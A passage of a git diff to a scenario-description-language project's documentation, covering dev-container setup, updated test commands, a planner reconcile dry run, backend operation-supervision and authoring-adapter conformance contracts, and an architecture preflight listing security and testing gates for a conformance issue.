-[`development-profiles.json`](../../implementations/tooling/profiles/development-profiles.json) -and [`artifacts.lock.json`](../../implementations/tooling/artifacts.lock.json) -through the `container-ubuntu-24.04-x86_64` host profile. -`tools/tooling_artifact_policy_container.py` and -`tools/tooling_artifact_policy_devcontainer.py` refuse any Dockerfile or -`devcontainer.json` value that disagrees with them, and refuse host-side -commands, extra environment, host mounts, and added container capabilities. +The artifact lock owns the base digest and verified bootstrap payloads. +`.devcontainer/Dockerfile` owns native packages, account setup and environment; +`devcontainer.json` owns the client configuration. Focused checks keep the +locked platform/digest, non-root user and restricted runtime boundary. They do +not duplicate the whole Dockerfile as a policy language. Signed moving native +repositories mean image rebuilds are not byte-reproducible. ## Caches and rebuilds @@ -111,8 +155,11 @@ To repeat setup at any time, run: ``` The project virtual environments live in the checkout, as they do natively. -Don't share one checkout between the container and a native setup: each would -rebuild the other's `.venv` for its own platform. Use a separate clone for +Their console scripts record absolute paths, so a checkout mounted at a second +path carries scripts that cannot start. Setup detects a relocated environment +and rebuilds it, because `uv sync` alone reports it as already locked. Even so, +don't share one checkout between the container and a native setup: each would +rebuild the other's environment for its own platform. Use a separate clone for each. ## Use Docker or Podman without a dev-container client @@ -134,9 +181,13 @@ export PATH="$PWD/implementations/tooling/python/.venv/bin:$PATH" ``` Plain Docker doesn't remap user IDs, so the checkout must be owned by uid 1000. -With rootless Podman, add `--userns=keep-id:uid=1000,gid=1000` to `podman run` -instead. Git worktrees whose `.git` file points outside the mounted directory -can't be used from the container; setup skips hook installation for them. +The Docker route above is verified. Rootless Podman is unverified: add +`--userns=keep-id:uid=1000,gid=1000` to `podman run` if you try it. + +Git worktrees whose `.git` file points outside the mounted directory can't be +used from the container. Setup still reaches `Ready.`, but it reports the hook +step as skipped, and Git reports a missing repository. Mount a plain clone +instead. ## Limitations @@ -158,19 +209,10 @@ repository. ## Update the image -The image follows its authorities, so an update is a reviewed change to them: - -1. Change the base index digest and `linux/amd64` manifest in - `artifacts.lock.json`, or the `native_repository_snapshot`, prerequisite - packages, or `development_package_ids` in the container host profile. Pick a - snapshot no older than the base image, or apt can't install packages that - depend on its newer libraries. -2. Render the expected values with - `python3 -m tools.devcontainer_image --host-profile-id container-ubuntu-24.04-x86_64` - and apply them to `.devcontainer/Dockerfile`. -3. Regenerate the qualification records' `policy_sha256`. -4. Let the `development-image` job of the bootstrap qualification workflow - build from an empty cache and exercise the lifecycle. - -`make policy` refuses the change whenever the image and its authorities -disagree. +Update the reviewed base index/platform digest in `artifacts.lock.json` and its +Dockerfile projection together. Update packages and account setup directly in +the Dockerfile, and client settings in `devcontainer.json`. No qualification +record hash needs renewal. Let the path-filtered/manual `development-image` +job build from an empty cache and exercise setup twice, ordinary checks and +the expected proof-capability refusal. Changes to supported entry points or +architectures need their own actual verification evidence. diff --git a/docs/explain/getting-started.md b/docs/explain/getting-started.md index d55224840..be60b00c9 100644 --- a/docs/explain/getting-started.md +++ b/docs/explain/getting-started.md @@ -59,7 +59,7 @@ fixtures or schema authority. |------|------------|---------------|---------------------| | Understand the repository | `README.md`, [`docs/index.md`](../index.md), [`docs/explain/reference/canonical-reference-map.md`](reference/canonical-reference-map.md) | Read the referenced docs | The repository layout and current boundaries are understood. | | Understand the agentic-environment lifecycle | [`docs/explain/reference/glossary.md`](reference/glossary.md), [`docs/explain/sdl/runtime-architecture.md`](sdl/runtime-architecture.md) | Follow the authored scenario, realized environment, evidence, and conformance references | RAES system concepts are distinguished from SDL and backend behavior. | -| Read a complete scenario | `examples/README.md`, `examples/scenarios/*.sdl.yaml` | `pytest tests/test_scenarios.py` | The checked examples load through the current parser boundary. | +| Read a complete scenario | `examples/README.md`, `examples/scenarios/*.sdl.yaml` | `pytest tests/test_example_schema_conformance.py` | The checked examples load through the current parser boundary. | | Start from a reusable template or pattern | `examples/library/catalog.yaml`, `examples/library/templates/`, `examples/library/patterns/` | `python tools/check_example_library.py` | The catalog covers scenario, workflow, participant behavior, task, run, and study surfaces with parser-validated template bodies. | | Author a small SDL file | [`docs/explain/sdl/index.md`](sdl/index.md), [`docs/explain/sdl/sections.md`](sdl/sections.md), [`docs/explain/sdl/validation.md`](sdl/validation.md) | `parse_sdl_file()` or `load_scenario()` | The file is accepted by the current SDL model and semantic validator. | | Use an agent-facing authoring surface | `raes-mcp`, then `raes_tool_surface`, `raes_agent_guidance`, `raes_intended_use_profiles`, and [`docs/explain/sdl/language-service.md`](sdl/language-service.md) | `raes_agent_guidance`, `raes_intended_use_profiles`, `sdl_completions`, `sdl_apply_edit`, `sdl_diagnostics`, `sdl_format`, `sdl_references`, `sdl_validate`, `sdl_design_assessment`, `sdl_plan`, `sdl_claims_assessment` | The agent can choose an intended-use scope, inspect current RAES blockers, and help author, edit, dry-run, and qualify claims without repository-local code access. | @@ -76,7 +76,7 @@ Use the lowest level that answers the question. |-------|----------|------------------|------------------|---------------------| | Orientation | You need to know what RAES is and is not. | README, docs index, reference map | Current repository scope and entrypoints | SDL validity, backend behavior, or experiment adequacy | | SDL parse and validation | You have an SDL file and need current parser feedback. | `parse_sdl_file()`, `load_scenario()`, SDL parser/model/validator tests | Structural and semantic acceptance by the reference implementation | Deployment viability or general domain completeness | -| Example-backed authoring | You need a worked scenario to study or adapt. | `examples/scenarios/*.sdl.yaml`, `test_scenarios.py` | The example loads from disk without advisories under current tests | Suitability for another range, backend, exercise, or research design | +| Example-backed authoring | You need a worked scenario to study or adapt. | `examples/scenarios/*.sdl.yaml`, `test_example_schema_conformance.py` | The example loads from disk without advisories under current tests | Suitability for another range, backend, exercise, or research design | | Template and pattern authoring | You need a reusable starting shape for a scenario, workflow, participant behavior, task, run, or study. | `examples/library/catalog.yaml`, `tools/check_example_library.py` | The cataloged template body validates as current SDL and the pattern has stable metadata | New runtime semantics or first-class task, run, or study sections | | Runtime and contracts | You need processor or backend integration context. | Runtime compiler/planner, contract schemas, backend profiles, conformance fixtures | Current reference-stack and contract behavior | Production backend correctness or operational reliability | | Specification review | You need to evaluate a semantic or authority claim. | `specs/`, ADRs, formal notes, tests | The current reasoning and normative boundary for a claim | Completed implementation when the materialized code/contracts are absent | @@ -110,7 +110,7 @@ Run the current disk-backed example tests: ```shell cd implementations/python -uv run --extra dev pytest tests/test_scenarios.py -q +uv run --extra dev pytest tests/test_example_schema_conformance.py -q ``` Work with SDL module imports: @@ -134,6 +134,29 @@ orchestration, and evaluation plans as published-contract JSON. It does not apply or start anything. Pass `--manifest ` to plan against an explicitly supplied backend manifest. +See how the planner reconciles one scenario version against another: + +```shell +cd implementations/python +uv run raes processor reconcile \ + ../../examples/scenarios/reconciliation-demo-v1.sdl.yaml \ + ../../examples/scenarios/reconciliation-demo-v2.sdl.yaml \ + --format json +``` + +This plans the first version, projects that plan into a snapshot, plans the +second version against the snapshot, and reports every resulting `create`, +`update`, `delete`, and `unchanged` action across provisioning, orchestration, +and evaluation. Both versions are planned against the same manifest, so the +reported delta reflects the authored difference rather than a change of target. + +The projected snapshot is synthetic assumed state, not backend readback or +proof that anything was realized, and this too is a read-only dry run. The +report summarizes resource identity and dependencies; resource payloads are +deliberately omitted because they can carry authored credentials and content. A +rejected version exits non-zero: a rejected baseline stops before the snapshot +is projected and reports no action counts at all, rather than reporting zeroes. + Expose the agent-facing MCP tools: ```shell @@ -171,7 +194,8 @@ Use the Python parser boundary or the test suite for direct validation. ## Current Example Use The current positive example corpus is under `examples/scenarios/`. Each file -is real SDL and is loaded by `implementations/python/tests/test_scenarios.py`. +is real SDL and is loaded and checked without advisories by +`implementations/python/tests/test_example_schema_conformance.py`. The reusable authoring library is under `examples/library/` and indexed by `examples/library/catalog.yaml`. diff --git a/docs/explain/reference/README.md b/docs/explain/reference/README.md index eff8640da..d58f0793a 100644 --- a/docs/explain/reference/README.md +++ b/docs/explain/reference/README.md @@ -21,6 +21,9 @@ themselves normative specifications or ADRs. - Architecture guardrails for `ASR-502` backend conformance work - [normative-artifact-authority.md](normative-artifact-authority.md) - Architecture guardrails for `ASR-517` normative authority-boundary work +- [published-schema-coverage.md](published-schema-coverage.md) + - The `ASR-501` rule requiring every published schema to carry corpus, + formal, or declared coverage evidence - [assessment-semantics.md](assessment-semantics.md) - Architecture guardrails for `SEM-206` assessment semantics work - [objective-semantics.md](objective-semantics.md) diff --git a/docs/explain/reference/authoring-adapter-conformance.md b/docs/explain/reference/authoring-adapter-conformance.md new file mode 100644 index 000000000..2d25482bb --- /dev/null +++ b/docs/explain/reference/authoring-adapter-conformance.md @@ -0,0 +1,65 @@ +# Authoring-adapter conformance + +Use the published authoring vectors to compare the output of two paths through +an adapter. The same interface supports a CLI, MCP or agent tool, graphical +editor, and documentation workflow. The reference runner tests the submitted +results; it does not launch those products or authenticate their identities. + +The normative contract is +[`specs/conformance/authoring-adapters.md`](../../../specs/conformance/authoring-adapters.md). +Vectors and their fixed expected observations ship under +`contracts/fixtures/authoring-adapters-v1/cases`. The first profile covers strict, +self-contained SDL validation and declaration rename, including parse and +rename refusals. It does not cover module composition, materialized artifacts, +unstructured advisory prose, pack operations, or runtime outcomes. +The `rename-invalid-source` vector covers rejection before rename executes: +it requires structured parser diagnostics, but no transformation report. +Rename refusals after successful source admission still require provenance. + +## Submit two results + +Load a vector with `load_authoring_vectors()` from +`raes_conformance.authoring_adapters`. Give its `input_source` and `operation` +to both paths. For each result, construct an `AuthoringPathOutput` with the +exact input, emitted SDL source (or `None` on refusal), incumbent structured +diagnostics, and the existing transformation report when the operation produces +one. Call `compare_authoring_paths(vector, left, right)` with optional descriptive +`left_path` and `right_path` identifiers. + +The runner reparses emitted source and derives artifact evidence itself. +`reference_authoring_output(vector)` exercises the production parser, renderer +and rename API for a local baseline. Its output is checked against the fixed +fixture oracle; it does not replace that oracle. Actual transport integration +tests should submit results captured from their own adapter boundary. + +## Read the result + +`comparison.report` separates canonical artifact, diagnostic, provenance and +semantic relations. `left_matches_expected` and `right_matches_expected` check +each path independently. The Python `conformant` property is true only if both +match the vector and all four relations are equivalent or not applicable. +The property is derived; portable JSON consumers apply the same rule to the +published fields. + +`comparison.semantic_result` retains the existing semantic comparison result +when both paths return artifacts. Keep it alongside the report and verify its +digest against `semantic_result_digest`. It identifies changed subjects and +preserves uncertainty. The canonical artifact digest and semantic comparator +coordinate use different named projections; do not interchange them. + +For example, an editorial description change can produce `artifact_relation: +different` and `semantic_relation: equivalent`. A changed declaration produces +a semantic difference. A stale transformation source digest makes the +observation invalid. An alternative derivation digest produces a provenance +difference even if artifact semantics match. Two identical wrong outputs fail +their independent oracle checks. + +Diagnostic equality uses code, domain or stage, severity and canonical address, +including duplicate counts. It excludes human wording and source ranges. +Retain the original diagnostic carriers and transformation reports to review +their evidence digests. Invalid observations produce fixed reason codes; the +comparison report never copies source text or exception details. + +The result establishes consistency for the exact vector and profile digests. +It does not prove universal adapter equivalence, stronger validation assurance, +backend behavior, or completion of a user journey. diff --git a/docs/explain/reference/backend-operation-supervision.md b/docs/explain/reference/backend-operation-supervision.md new file mode 100644 index 000000000..3d3d01c06 --- /dev/null +++ b/docs/explain/reference/backend-operation-supervision.md @@ -0,0 +1,101 @@ +# Implement the backend operation protocol + +The optional `operation-supervision` profile publishes messages for one +admitted backend invocation. It lets a backend report acceptance, progress, +refusal, effects and cancellation evidence while RAE retains scenario execution +and terminal publication. It does not enable supervision in today's +`RuntimeTarget` or change the runtime P0–P3 profile matrix. + +The [normative contract](../../../specs/formal/runtime-contracts/backend-operation-supervision.md) +defines field meaning, guarantees, identity, budgets and validation. Import +models and validation helpers from `raes_contracts.contracts`, and +`BackendOperationProvider`/`require_operation_provider` from +`raes_backend_protocols.operation_supervision`. This interface has no dependency +on `raes_runtime`. Schemas, profile and examples ship in the existing packaged +contract corpus; use `raes_contracts.corpus` to locate them in an installed wheel. + +## Provider responsibilities + +1. Declare all four `backend-operation-*-v1` contracts in the existing backend + manifest. Implement the six protocol methods and return the current + capability declaration. Use `require_operation_provider` to check the + declaration and call shapes without making an effect call. +2. Implement `check_operation` against the exact resolved native requirements, + command and execution context. Return explicit refusal if any required + guarantee is unsupported or currently unavailable. Match the request and + capability digests; do not claim that a supported protocol proves readiness. +3. Accept `start_operation` only through the trusted RAE invocation path after + it confirms the one-use claim and current authority. Deduplicate the exact + binding/commitment, retain conflicting-effect reservations and return the + same work for duplicate delivery. A changed commitment under an existing + invocation is a conflict, never another start. +4. Return bounded evidence records. Keep a sequence within the invocation; + retries retain its content. Resolve and validate artifacts through their + owning contracts. Partial results include the native residual snapshot and + changed-address scope. Native output, secrets, exception text and process + arguments must not enter these carriers. +5. Serve observation, cancellation and reconciliation independently of effect + worker saturation. Respect the remaining apparatus budget; an accepted + cancellation is only an undertaking. Report cessation only with evidence + that accounts for outstanding workers, effects and residual state. +6. Preserve unknown outcomes and retained exclusion. RAE validates native + results and commits terminal operation/snapshot/audit state. A backend must + not schedule workflow retries, allocate new trials, rewrite an immutable + terminal parent, or treat reconciliation as execution replay. + +Each method returns one `BackendOperationResponseModel`, whose `message.kind` +identifies the payload. `check_operation` returns `admission`; `start_operation` +returns `acknowledgement`; `cancel_operation` returns `control`. +`observe_operation` returns a retained progress/outcome record, a correlated +reconciliation observation, or a control refusal. `reconcile_operation` returns +`reconciliation` or a control refusal. All exceptions/lost replies leave the +caller uncertain; callers never infer no effects from a failed call. + +The shape checker does not authenticate callers, grant claims, exercise the +backend or certify liveness. Independent integrations must implement those +normative duties before claiming support. The existing runtime remains on its +incumbent synchronous protocol until a separate integration delivery wires and +verifies the new path. + +## Migration and compatibility + +| Existing surface | Migration rule | +| --- | --- | +| `operation-receipt-v1`, `operation-status-v1` | Preserve their shared `runtime-operation/v1` discriminator, six states and existing readers. New backend records are separate evidence for the runtime authority. Do not inject unknown fields into old closed readers. | +| `ApplyResult` | Preserve native result admission. A false success flag or predecessor snapshot cannot be converted to effect absence, known failure or cessation. Without independently validated new evidence, the new outcome is indeterminate. | +| `RecoveryObservationResult` | Its absent/applied/indeterminate vocabulary has no general cessation or partial-effect witness. Conversion cannot invent one. Keep legacy reports on the old observer, or obtain fresh evidence before constructing a new report. | +| P1/P2 stored operation records | No store migration in this publication. Existing strict codecs keep their existing shape. A later integration must explicitly version/persist the new facts and test lossless readback before it claims supervision across restart. | +| Backend manifests/profiles | New draft schemas expand the backend contract-ID allowlist. Old manifests and profiles remain valid under the new reader; old closed readers can reject new IDs. Negotiate support before sending new messages. Never strip IDs or fields to disguise incompatibility. | +| P0–P3 runtime profiles | Unchanged guarantees. This backend profile is a separate axis; schema availability cannot activate distributed operation, interruption, recovery, or P3. | + +Migration must preserve complete bindings, request/requirement commitments, +control actors, sequence and remaining budget origins. If historical records +lack any required fact, there is **no lossless automatic conversion**. Refuse +the stronger protocol or retain unknown evidence through the existing recovery +path. Do not fabricate generations, claim IDs, cessation, clean state, +continuation points or retry authority. Changing operation IDs, restoring a +database or restarting a timer is not a migration strategy. + +The four new contracts are draft v1 publications under ADR-009/061. Incompatible +future changes follow the existing evolution policy; the reference bundle must +match each normative schema and each publication entry records its content hash +and contract-facing change. This publication changes no existing store/HTTP +projection and does not silently upgrade any backend declaration. + +## Examples and evidence limits + +The packaged `fixtures/control-plane/` corpus groups exchanges by filename: + +| Prefix | What the exchange demonstrates | +| --- | --- | +| `accepted` | Willing admission, accepted invocation, progress and a success proposal awaiting RAE validation. | +| `refused` | A capable backend declines the exact context. No invocation follows. | +| `cancel-race` | Cancellation is accepted, then completion proposes success. RAE decides the atomic settlement order. | +| `partial-cancel` | Cancellation is established with known residual effects; no rollback is asserted. | +| `duplicate` | Identical sequence and acknowledgement may be read twice without a second invocation. | +| `uncertain` | Unknown effects remain indeterminate; later reconciliation evidence cannot rewrite that parent. | + +`test_issue_1360_backend_operations.py` validates these messages and their +relationships. Fixture evidence references are synthetic. A real implementation +must resolve and validate actual evidence and pass runtime/backend conformance +before these examples can support stronger claims. diff --git a/docs/explain/reference/fm-classification-ledger.yaml b/docs/explain/reference/fm-classification-ledger.yaml index 1ff172149..7ae3c00c1 100644 --- a/docs/explain/reference/fm-classification-ledger.yaml +++ b/docs/explain/reference/fm-classification-ledger.yaml @@ -1,6 +1,19 @@ ledger: per-change-fm-classification policy_ref: specs/formal/assurance-policy.yaml entries: + - adr: ADR-109 + surface: Participant identity, affiliation, and objective assignment + fm_level: FM2 + delivered_artifacts: + - kind: invariant_list + path: specs/sdl/participant-identity.md + - kind: unit_tests + path: implementations/python/tests/test_issue_1338_participant_identity.py + - kind: typed_ir_or_contract_coverage + path: implementations/python/tests/test_issue_1338_participant_identity.py + - kind: property_based_or_differential_tests + path: implementations/python/tests/test_issue_1338_identity_stages.py + waived_artifacts: [] - adr: ADR-023 surface: Container image build provenance surface fm_level: FM1 diff --git a/docs/explain/reference/issue-1211-progressive-conformance-preflight.md b/docs/explain/reference/issue-1211-progressive-conformance-preflight.md new file mode 100644 index 000000000..fcb03f9da --- /dev/null +++ b/docs/explain/reference/issue-1211-progressive-conformance-preflight.md @@ -0,0 +1,214 @@ +# Issue 1211 progressive conformance architecture preflight + +Recorded 2026-09-18. Inspected revision: `340ba7aa`. + +Status: implementation guidance; non-normative. + +This GOV-922 requirement-backed preflight covers GitHub issue #1211. It does not +implement the issue, change a runtime or schema, define an implementation +sequence, or claim that the acceptance cases pass. The issue and the governing +design-intent examples remain the delivery contract. + +No new ADR is needed. ADR-064, ADR-066 and ADR-105 already decide the semantic +boundaries. This note prevents the integrated verification work from creating a +second constraint model, evidence system, conformance claim, catalog, or +workflow. + +## Architecture decision + +#1211 is a conformance aggregation and recurrence-prevention owner. It must +exercise the production path already owned by #1200--#1212, #1112 and the +experiment/runtime contracts; it must not become another production semantic +owner. A case is end to end only when the same authored input or explicit +negative mutation is traced through the applicable existing boundaries: + +1. safe source decoding, closed structural models and semantic validation; +2. recursive normalization, composition/refinement and bounded evaluation; +3. compiler requirements, authority and independent observation demand; +4. planner admission, supported-completion selection and plan carriage; +5. authenticated runtime submission and backend result validation; +6. requested capture/report execution, retention and export policy; +7. atomic persistence/recovery and portable report projection; and +8. canonical formatting, composition, schema/model serialization and semantic + round trip. + +Not every negative case should reach the last boundary. It must fail at its +owning boundary, with the later side effects proven absent. A malformed parser +case is not evidence for planner refusal; an unsupported required selector is +not evidence for parser refusal. + +The integrated suite should consume disk-backed ordinary YAML for the authoring +journey and existing closed JSON contracts for derived artifacts. Do not create +a progressive-specification test DSL or a duplicate scenario schema. Keep +test-only case parameters test-local. Reusable public scenarios follow the +existing `examples/scenarios` convention; raw source-profile conformance files +follow `contracts/fixtures/sdl/sdl-yaml-v1`; invalid rule-local mutations stay +beside the owning test or contract fixture. + +The finite conformance claim must remain honest. Hermetic in-process lifecycle +coverage belongs in the canonical default/integration pytest graph. Released +pack/backend evidence from env-packs#312 and Hub#3 is separately identified +external journey evidence. It must not be represented as native execution by a +stub or recording driver, and RAE must not absorb the pack, backend recipe, or +private product catalog. If a durable backend conformance report is required, +extend the existing `raes_conformance` profile/report boundary and its bounded +claim validation; do not publish a second report hierarchy. + +## Semantic separations the suite must preserve + +| Concern | Distinctions that must remain independent | Canonical owner | +| --- | --- | --- | +| Author authority | omitted/delegated, exact, constrained, optional, forbidden, unknown and local closure | `raes_contracts.realization_structure`, ADR-105 | +| Collection identity | stable keyed identity, ordered occurrence and local closure universe | recursive realization normal form and profile-owned identity metadata | +| Backend admission | one selected supported completion versus universal envelope coverage | `backend-realization-preparation-v1`, planner preparation and ADR-070 envelope checks | +| Realized description | backend-selected value versus observed or independently verified fact | typed realization descriptions, realized-form disclosures and validation-basis disclosures | +| Data lifecycle | reporting, collection, retention, export and operational use | `observation-demand-v1`, ADR-064/066, #1112 capture admission | +| Extension identity | private/domain identity versus executable grammar operator or policy decision | controlled vocabularies, domain profiles and owning finite enums | +| Completeness | complete at the declared abstraction versus complete concrete machine inventory | recursive constraints and scientific scenario-completeness guidance | +| Assurance | fixture validity, hermetic realization, native realization and backend conformance | `raes_conformance` execution basis and bounded claim validation | + +The acceptance anchors are a cross-product, not a catalog of independent +happy paths. In particular, realization detail must be crossed with observation +demand: exact image/filesystem with no experimental collection; abstract +behavior with bounded exhaustive action traces; and mixed packet, +operational-only and no-data scopes with independent retention/export policy. +The backend-known selection case carries backend basis without fabricated +evidence. Genuinely required capture and exact-value violations still fail. + +## Canonical incumbents and required reuse + +| Layer | Canonical incumbents | Required treatment | +| --- | --- | --- | +| Governing semantics | `docs/research/language-extensibility/design-intent.md`, ADR-064, ADR-066, ADR-105, `specs/sdl/recursive-realization-constraints.md`, `specs/sdl/observability-and-evidence.md` | Treat these as the semantic oracle. Tests must not redefine omission, openness, evidence basis or lifecycle defaults. | +| YAML and source limits | `raes._yaml_loader`, `_source_validation`, `_mapping_key_analyzer`, `_source_profile.SDLParserLimits`, `parse_sdl()` / `parse_sdl_file()` | Use YAML 1.2 safe decoding, duplicate/key diagnostics and byte/depth/node/alias/import/composition budgets. Do not call `yaml.safe_load` as an alternate authoring boundary. | +| Structural and semantic validation | `SDLModel(extra="forbid")`, `Scenario`/`ScenarioContent`, `SemanticValidator`, source-ranged `SDLParseError` and collect-all `SDLValidationError` | Test closed syntax separately from open realization semantics. Reuse target/reference resolution and model validators; do not duplicate them in the harness. | +| Published schemas | hand-governed `contracts/schemas`, reference `schema_bundle()`, schema publication entries and generated-parity checks | Validate normalized and derived artifacts through existing schemas. Schema validity is not semantic admission. #1211 needs no new schema unless a genuinely new public artifact is approved. | +| Recursive relations | `raes_contracts.realization_structure`, semantic addresses, collection profiles and `RealizationConstraintLimits` | Reuse normalization, evaluation, conjunction, refinement, stable identities and bounded outcomes. Do not add a test-only evaluator or leaf registry. | +| Composition and round trip | module expansion/provenance, `instantiate_scenario`, canonical SDL helpers, formatting, semantic revisions/comparison and phase contracts | Preserve omission, exact siblings, private identities, source origins and semantic addresses. Compare semantics, not incidental YAML ordering or DTO equality. | +| Compiler | `compile_scenario_runtime_model()` / `compile_runtime_model()`, `CompiledRealizationRequirement`, `CompiledRealizationAuthority` and compiler recursive adapters | Assert the existing authority and demand carriers. Do not infer evidence from realization detail or add a parallel compiled DTO. | +| Planner and capability admission | `raes_processor.planner.plan`, `ResolvedRealizationAuthority`, preparation authority, realization support/envelope diagnostics and `capture_admission_diagnostics()` | Keep selected-witness and universal-capability tests distinct. Planner-created and directly submitted plans must pass the same gates. | +| Runtime and result admission | `RuntimeManager`, `RuntimeControlPlane`, `backend_input_violation`, preparation/apply/result finalization, materialization and realization-honesty checks | Exercise the real admission/result path. Unsupported semantics and dishonest success fail before publication; backend exceptions do not become public payloads. | +| Observation and reporting | observation-demand normalization, runtime capability matching, `execute_observation_lifecycle`, typed descriptions, capture admission and evidence refinement | Use producer/store/export spies at the impurity boundaries. Report omission alone does not establish that collection or retention did not occur. | +| Persistence and recovery | `ControlPlaneStore`, `InMemoryControlPlaneStore`, `LocalControlPlaneStore`, snapshot codecs, terminal atomic commits and observation result payloads | Assert both value presence when explicitly retained and value absence everywhere when disabled/forbidden. Reuse revision, integrity, idempotency and recovery behavior; add no side store. | +| API and authorization | `ControlPlaneSecurityConfig`, `_ControlPlaneApiAuth`, request-size middleware, planner authorization, target binding and closed plan DTO projection | API cases use real role/target authorization and request admission. A reportable value or valid plan shape never grants access or planner provenance. | +| Diagnostics and audit | SDL error types, `Diagnostic`/`DiagnosticModel`, portable diagnostic projection, operation receipts/status and bounded audit paths | Assert stable codes, owning addresses and value-free messages. Do not add an exception family, log channel or raw backend-output assertion. | +| Backend/OS boundary | backend protocols, reference/libvirt targets, fixed-argv native helpers, bounded timeouts, private files and captured output | Hermetic cases do not launch native acquisition/probes. Released-native evidence retains no-shell/fixed-argv, timeout, environment and output controls. No secret or observed value enters argv or logs. | +| Conformance and CI | `raes_conformance.conformance`, existing backend profile artifacts, `BackendConformanceReport`, pytest markers, nox verification and canonical verification shards | Reuse bounded claims and execution-basis labels. Do not create a new CI workflow or opt the hermetic regression suite out of the required graph. | +| Prevention ledger | `product-semantics-audit.md`, `product-semantics-fields.md`, `scope-inventory.md`, the runtime semantic review checklist and `test_issue_959_audit_coverage.py` | The mechanical graph census proves coverage and drift detection only. Human dispositions decide ownership, closed-set rationale, private/partial behavior and extension/admission semantics. | + +Existing focused tests are evidence inputs, not substitutes for an integrated +case. The five-node and recursive algebra anchors live in the #1201/#1203 +suites; the Kali ladder in #1205; vocabulary/private/round-trip cases in #1206; +partial runtime descriptions in #1207; typed profile composition in #1208; +description lifecycle in #1209; migration/comparison in #1210; capture admission +in #1112; and scoped collection/persistence/API boundaries in #1212. The +observability corpus and #340 augmentation cases retain evidence-plane and +augmentation ownership. + +## Cross-cutting security and operational gates + +Every applicable integrated path must pass these existing layers: + +| Layer | Required proof | +| --- | --- | +| Source admission | Input passes the canonical UTF-8/YAML source boundary and explicit parser limits. Limit mutations produce the bounded source or relation outcome rather than a crash, mismatch or success. | +| Model/config shape | SDL and contract DTOs remain closed; discriminators, enums, lists and scalar sizes retain their bounds. A private identity is admitted only by its owning vocabulary/profile grammar, never by `extra` fields or an arbitrary dictionary. | +| Reference/profile trust | Module, semantic-address, component and profile references resolve exactly once through existing offline/pinned resolvers. Tests do not fetch schemas, install handlers or execute profile-supplied code. | +| Secrets and environment | Use `BindingValue`, secret-reference/value-free account projection, `RuntimeEnvironmentVariable` and redaction validators. Fixtures contain synthetic references, not credentials. Diagnostics, snapshots, reports and case names contain no secret value or ambient environment capture. | +| API auth and plan provenance | Mutations pass verified identity/bearer comparison, role and exact target binding, request-size admission, planner-produced plan authorization, idempotency/fingerprint checks and bounded denial audit. Direct submission is not a bypass. | +| Backend impurity boundary | Admission completes before backend apply, capture or native execution. Backend arguments are isolated and results pass the existing input/result/materialization validators. Credential-bearing diagnostics and snapshots use the value-free projection. | +| OS/process exposure | The hermetic matrix performs no incidental subprocess or network work. Any separately labelled native journey uses allowlisted/fixed argv, no shell, bounded timeout and output, controlled working directory/environment and private files; tokens, selectors, credentials and observed values are absent from argv. | +| Data lifecycle | Required/prohibited conflicts, unsupported selectors and unavailable export/atomicity fail before collection. Non-retained data is absent from queues, result payloads, snapshots, local-store rows, temporary artifacts, audit details and recovery, not merely filtered from the response. | +| Persistence | Accepted terminal state, allowed observation payload and actor-bound audit commit atomically through the existing store with revision/integrity checks. Failed or forbidden cases leave the baseline snapshot and durable payload unchanged. | +| Error envelopes | Parser/semantic errors use the SDL hierarchy; portable failures use bounded diagnostics; HTTP validation and unexpected failures retain redacted 422/500 envelopes. Native stderr, Pydantic rejected input, host paths, exception text and private values do not cross the public boundary. | +| Logging/observability | Existing lifecycle and audit events record action, stable identity, scope and reason code only. Experimental data, description bodies, environment contents and backend stdout/stderr are not logged. | + +## Extensibility seam + +The test matrix varies four existing inputs independently: an ordinary scenario, +a backend target/manifest, an observation-demand policy and explicit work +limits. Expected outcomes name the owning terminal boundary and side-effect +posture. A new private profile, backend-supported completion, observation data +kind or non-cyber scenario plugs into those existing seams; it must not require +editing a central scenario/product enum or the recursive relation. + +Backend variation belongs behind `RuntimeTarget`, manifest capability and +observation-runtime interfaces. Semantic extension variation belongs behind +pinned domain-profile/controlled-vocabulary admission. Observation variation +belongs in the versioned selector/policy algebra. If the suite needs reusable +case metadata, it remains a bounded test helper unless an independently reviewed +public conformance artifact is required. + +This parameterization is also the guard for the next reasonable change: adding +another backend or domain example should add a target/case and its declared +capability, not fork parser, compiler, planner, validation, persistence or +reporting logic. + +## Resolved dependency consumed by this delivery + +The preflight revision had one documented catalog-shaped defect: +`RuntimeApplicationRoute.normalize_methods()` rejected extension methods and +collapsed method identity. #1298 has since shipped the owning correction, along +with exact private/WebDAV identity and migration coverage. #1297 and #1299's +service-manager/listener corrections are also present. + +#1211 consumes those production boundaries without weakening HTTP method +validation locally or duplicating their implementations. The +candidate/disposition reconciliation must also retain #989's generic +classification-binding ownership and #1167's status-prose ownership instead of +reopening either implementation surface. + +## Gotchas and anti-patterns + +- One known product fixture, one backend, one valid schema document or one + successful witness cannot establish this issue's class-wide claim. +- A Pydantic field being optional does not prove partiality; defaults and model + validators may still make the surrounding product shape compulsory. +- Do not use schema acceptance as compiler/runtime conformance, or a census as + semantic correctness. +- Do not copy one scenario independently into parser, compiler, planner and + runtime fixtures. Drift would make the apparent end-to-end result a set of + unrelated unit cases. +- Do not generate the ordinary authoring examples from Python dictionaries; + that bypasses raw YAML presentation and makes the journey uninspectable. +- Preserve omitted, empty, null, absent, unknown, redacted and delegated as + distinct states. Preserve exact siblings beneath inherited open scopes. +- Negative mutations must remove or alter one relevant fact and must assert the + expected diagnostic plus absence of later side effects. Do not let an earlier + malformed shape accidentally satisfy a later negative case. +- Keep backend-selected reporting distinct from experimental observation and + independent verification. Never attach evidence refs to a value merely + because the backend knew it. +- Test no-collection/no-retention with producer, store, temporary-artifact and + export assertions. A concise or redacted final report is insufficient. +- Preserve the universal-capability negative tests when adding the allowed + one-completion positive case. Do not redefine `subsumes` as overlap. +- A private identity or profile is not backend support, authorization, + executable semantics or proof. Finite operators, security decisions and + contract versions remain closed for stated reasons. +- Do not add a core/replacement catalog, generic attribute bag, per-property + opt-outs, complete concrete-machine normal form, placeholder evidence, or + fabricated infrastructure to make a fixture pass. +- Do not add a parallel schema bundle, validator, exception hierarchy, + diagnostic renderer, log, store, API route, backend workflow or CI graph. + +## Non-goals and implementation boundaries + +#1211 does not own new SDL syntax, a runtime/schema correction, a backend or +pack implementation, profile distribution, task/run/study refinement, capture +capability implementation, augmentation semantics, source-provenance semantics, +evidence integrity, or export delivery. Defects found by the conformance matrix +remain with their focused semantic owner and block the broad completion claim. + +It does not certify every backend, all private domains, all possible +realizations, native libvirt/OCI fidelity, universal support, or observational +completeness. The external LilRAE/env-packs journey is coordinated evidence, +not code moved into RAE. Audit #1198 and 